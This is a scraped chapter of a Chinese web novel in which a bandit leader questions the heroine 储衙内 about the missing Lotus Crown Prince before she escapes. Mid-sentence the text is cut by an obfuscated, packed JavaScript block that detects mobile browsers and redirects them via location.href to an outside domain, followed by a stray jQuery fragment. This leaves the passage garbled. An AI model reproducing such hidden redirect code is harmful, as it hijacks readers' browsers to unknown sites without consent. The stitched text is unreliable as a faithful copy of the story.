71. 九转莲
作品:《主角团一心想通关》 玄衣少年转身离去,洞窟之中再度回归寂静。
刀疤脸仍坐于石桌前,慢条斯理地喝着茶。不知道的,还以为他品的是什么绝世香茗。
储衙内胆战心惊地等待着,方才听那少年的话头,她已经能够猜到接下来等待她的会是什么。
静静候了半晌,刀疤脸忽然开了口:
“既然醒了,那便起来说话吧,储公子。”
音色平淡如水,却令储衙内霎时汗毛竖起。
她心跳如雷,见刀疤脸不疾不徐地走过来,动作轻柔地扶着她坐起,又将麻袋轻轻扯下。
眼前煞时一片明亮,条件反射地闭了眼,待再度睁眼时,竟见刀疤脸蹲在她身前,静静地凝视着她。
储衙内被看得心里发毛,眼神躲避:“你,你想干什么……”
刀疤脸嗤笑一声,起身走回石桌旁,又给自己倒了一杯茶。
储衙内顺势看去,这才发现,她包袱里被那群贼和尚偷走的两幅丹青,竟赫然悬挂于此!
左边那副,画的是位芝兰玉树、意气风发的少年,正是储衙内自己。
而右侧所绘的,则是一个八九岁的男童,玉雪可爱,锦缎华服,腰间坠着一枚琥珀色九转莲花玉佩。
正是他从宫中所存之旧画中临摹来的,莲华太子幼时的肖像。
储衙内脑内飞速地思考着那几个贼和尚和这群私盐贩子之间的关系,不自觉地,将视线落于刀疤脸的手上——
手指修长、骨节分明,正漫不经心地把玩着什么东西。
“半个多月前,有几个和尚想要下山将这两幅画和这玩意儿卖掉,恰好被我的人撞见,截了下来。”
闻言,不必细看,储衙内也知道那到底是什么了。
正是她特意和那两幅画放在一起的,正面雕刻着一朵九转莲花,背面刻着莲华太子生辰八字的琥珀晶玉佩。
乃是莲华太子降生后,周太后请名匠打造,又送往九莲山天心寺请圆泽大师开过光的宝物。据说这玉佩能够安神养心,保佑其平安顺遂,莲华太子从不离身。
然而原物早就因太子遇刺而不知所踪。刀疤脸手上拿的这个,不过是她请工匠仿制的赝品。
储衙内思索着,却听刀疤脸话锋一转:“所以,你们派樊姜留在城中,到底是想探查什么?”
储衙内心上忽地一紧。
他竟然知道樊姜的事……
见她满脸错愕,刀疤脸轻蔑地笑了声:
“他这些日子四处探听消息,结交渝州富商,还混进了玉雪堂……不过,他自以为神不知鬼不觉就是了。”
储衙内怔怔地问:“你们……把樊姜怎么了?”
她虽不喜樊姜,却不由得担心他的安危。
刀疤脸垂眸,手上仍旧缓慢地摩挲着那块玉佩,语气是那般漫不经心:
“扒皮抽筋,喂了狗了。”
“你说什么?!”
震惊之余,出衙内却忽地想起,在昏迷之前,她明明使用了「辨真丸」,可为什么现在并不能验证刀疤脸所言的真伪?
“储公子不必心急。”刀疤脸抬眸,嘴角勾起一抹阴冷的笑,“一会儿我就送你下去见他。”
储衙内立即调出道具选择面板。
当时情况紧急,她根本来不及细看,此时才见那道具说明赫然写着:“片时之间,真伪能辨。”
其下更另有一行小字:一瓶五粒,一粒有效时间为30分钟,单次使用默认为一粒。
从她被人打晕到现在,时间早就过了。
还剩四粒,那就再用两粒好了。手虽被绑着,但好歹手指还能动。
蓝色面板消失,刀疤脸忽得起身,居高临下地睥睨着她:“不过,送公子上路之前,我还有一个问题想要请教。”
储衙内背脊发凉:“你……想问什么?”
刀疤脸凝视着她的双眸:“公子不远万里从京城来到渝州,身上带着这两幅丹青和这枚玉佩,又放任天心寺和尚将其偷去,到底是何目的?”
他是怎么知道的?!
储衙内心中大惊,却仍旧强装镇定:“你在说什么,我不知道。”
“死鸭子嘴硬。”刀疤脸从鼻孔中发出一声嗤笑,
却将话题一转,“我倒听说过一桩多年前的趣事,不知储公子可有兴趣一听?”
说罢也不等储衙内有何反应,刀疤脸转过身,自顾自地讲道,“当年,周太后携莲华太子回渝州,江上遇刺。听说,那伙北境逆党潜上御船,将莲华太子一剑穿胸——”
话及此,从案上猛地抽出一把利剑,往前狠狠一刺。
见储衙内眉头皱起,刀疤脸很是满意地勾起嘴角。
“……可怜那不过七八岁的孩童,竟就这样做了逆贼剑下亡魂。”
刀疤脸夸张地“啧啧”两声,“有趣的是,那伙逆贼扒了太子的衣服,周身翻遍,却愣是没找到那枚贴身的九转莲玉佩。”
讲到这里,刀疤脸将手里的玉佩轻轻地摩挲着,却将视线落到储衙内的脸上。
“储公子你说,那枚玉佩去了哪里?”
忽地被他这样一问,储衙内有些心虚:“……我怎么知道?”
“是么?”刀疤脸故作疑惑,“那么请问储公子,我如今手里的这个,又是什么?”
储衙内一时语塞,总不能告诉他,这是赝品吧?
“所以——储公子将这枚假玉佩放任天心寺和尚偷去,到底是何目的?”
他竟然知道这枚玉佩是假的?!
刀疤脸欣赏着她惊愕万分的表情,语气玩味:
“不过,这还不是这个故事里最有趣的部分。据说,那伙逆贼扒了莲华太子的衣服,除了没有找到那枚玉佩之外,还有意外的发现。
“原来啊,那躺在地上,胸口被捅了个大窟窿的,根本不是什么太子,不过是个没了□□的小太监!”
讲到这里,刀疤脸竟然仰头大笑起来,笑得储衙内背脊发凉。
等他笑够了,才继续道:“听说,莲华太子能未卜先知,那伙贼人杀进来前,便和他的贴身太监换了衣裳,自己却跳到江水之中……”
越听他说下去,储衙内越是心惊。
这刀疤脸说的,竟然都是真话。
然而这些隐秘的细节,他又是怎么知道的?
在她看来,所谓莲华太子能未卜先知的说法,多半有些夸大其词。若他真能未卜先知,怎会还有渝州遇刺一案?
只是传闻莲华太子降生时,霞光蔼蔼、百鸟齐鸣,四月里满城莲花齐齐盛开,故而圣上赐号‘莲华’。他天赋异禀,钦天监说他乃是星君降世,两岁便能识文断字、口诵经史,四岁已通君子六艺,尤擅卜卦占星之术。
“——储公子你说,那莲华太子到底死了没有?”
思绪被唤回,见刀疤脸握着玉佩,眯着眼饶有趣味地看着她,这次似乎真的在等待她的回答。
储衙内不知他所谓何意,怕被套了话,便只容色淡淡:“不知道。”
刀疤脸不置可否,默了半晌,又道:“这个故事,其实还有一段没讲完,储公子还想不想听?”
储衙内被她这副故弄玄虚的模样弄得烦得要死,实在忍无可忍,催促道:“大当家的,有话你就快说吧。”
刀疤脸轻笑一声,语气和缓:“听说那莲华太子跳入江中之后,被一户船家救起。然而那船家是个人牙子,将他身上的衣服、物件尽数搜刮了去。这其中,当然包括那枚玉佩。
“又见他模样生的好,将他养了些日子,转手就要将他卖给城中富商做娈童。他找准机会,和另一个被拐来的孩子一齐逃了出去。至于逃到了哪里,不消说,储公子也应当知晓了。
“——若非得了莲华太子尚在人世的消息,储公子又怎会不远万里前来渝州,又在天心寺盘桓日久?”
见储衙内双眼愈发睁大,刀疤脸径直道,
“储公子将这枚假玉佩和莲华太子的画像放在一处,故意让其落入天心寺和尚的手中,便是想要唤起寺中知情之人对莲华太子的记忆。而留下储公子你自己的画像,那知晓内情的,或是想从中获利的,便可顺藤摸瓜地找上你?对吗?”
听到这里,储衙内已近乎绝望。未曾想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169682|169344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她此番计量竟被这刀疤脸尽数猜中。
他到底是何方神圣?
“只是不知,储公子在天心寺待了这么久了,探查到一些有关莲华太子的消息没有?”
见她面色怔怔,尚在震惊之中,刀疤脸哂笑道:“看来是没有了。”
储衙内破罐破摔,反问道:“你问这个做什么?难道你有?”
刀疤脸下巴扬起:“我在这九莲山盘桓十数年,若这点消息都打探不到,还怎么坐上这大当家的位置?”
顿了顿,又问,“不过储公子就不觉得奇怪,莲华太子既未殒命,又顺利到了天心寺,为何不早早回京,却要藏身于一座寺庙之中?再者说,天心寺众僧若知道他是太子,又为何不派人将其护送回京?”
储衙内低头沉思良久,却也想不出个所以然来。
“原因便是,从江边到天心寺路途遥遥,穷冬烈风,那太子衣衫单薄,费劲千辛万苦到了山门外,却已是邪风入体、精疲力竭。虽被寺中之人所救,但大病一场,醒来之后便将前尘往事,尽数忘了。”
储衙内目不转睛地盯着刀疤脸,一边确认了他话中的真实,又敏锐地捕捉到他眼中一闪而过的微动:
“你……你到底是谁?为何对这些事情知晓得这般清楚?”
刀疤脸眸光冷若寒潭,缓步走近:“我方才已经说过了,我在九莲山数十年,没有什么是我不知道的。
“或者,储公子还想知道些什么?如今问了,我也好一并告诉了你,一会儿上了黄泉路,也好教你做个明白鬼。”
储衙内强忍心中惧意,咬牙道:“那你说,莲华太子如今在天心寺到底是个什么身份?”
“储公子算算年岁,调露元年,莲华太子下落不明时不过七八岁,如今十三年过去,不是刚好过了弱冠之年?这个年纪,相貌、才德又这般出众的,天心寺能有几个?”
“你说的是……圆泽法师唯一的徒弟……”
然而倏闻“噌”地一声,寒光闪过,那柄冷气森然的利剑已横于他颈侧。
身子顿时僵住,缓缓抬眸,那刀疤脸面如地狱修罗,开口却是谦和有礼:
“前因后果已明,但送储公子上路前,我还有一个问题要请教。储公子想知道的,我已尽数告知,那么礼尚往来,我就一个问题,储公子也应当知无不言吧?”
感受到那利刃贴在她颈项间,印出一道浅浅血痕,储衙内连忙求饶:“大当家有话好好。你想问什么,我都告诉你!”
她心下忐忑,不知一会儿她若是被人划破了颈动脉,她那个「锦囊妙计」会不会依旧将她治愈?
“我想知道,储公子一行到渝州寻莲华太子,受的到底是谁的命?”
圣上下令,这是绝密,且这个支线任务明确要求了,除了她,不能让她爹储巡按、黎渊大将军、沈观澜以外的第六个人知道。
但是眼下保命要紧,还管什么支线不支线,任务不任务的。
“——说了你就不杀我吗?”
储衙内眼睛眨了眨,语气故作纯真。
刀疤脸见她如此,垂下眼眸,手下力道却未松:“当然。”
很可惜,他说谎了。
抵在她脖颈的利剑又近了几分,然而储衙内却感受不到丝毫痛意了。
反正杀不死她,大不了跟他拼了!
千钧一发之际,耳边传来“嗖”的破空之声,身后竟飞来两颗石子,一颗打中剑身,将那利剑打偏几分,另一颗又稳稳击中刀疤脸的手腕。
这一下痛击,他执剑的手下意识松开。
储衙内看准时机,猛地站起,头部狠狠撞向刀疤脸的下巴,直撞得他眼冒金星,一声吃痛,连连后退。
下一瞬,只听“嘭”的一声,有东西炸开,洞窟之中煞时布满蓝色烟雾,教人睁不开眼。
一阵彻骨的寒意逼近,重重刺进刀疤脸的胸膛。
霎时鲜血喷涌,刀疤脸这才想起向外大喊:“来人!”
只听一阵急促的脚步声向外,却再未有人近身。
待烟雾散去,洞中除了他自己,哪里还有旁人?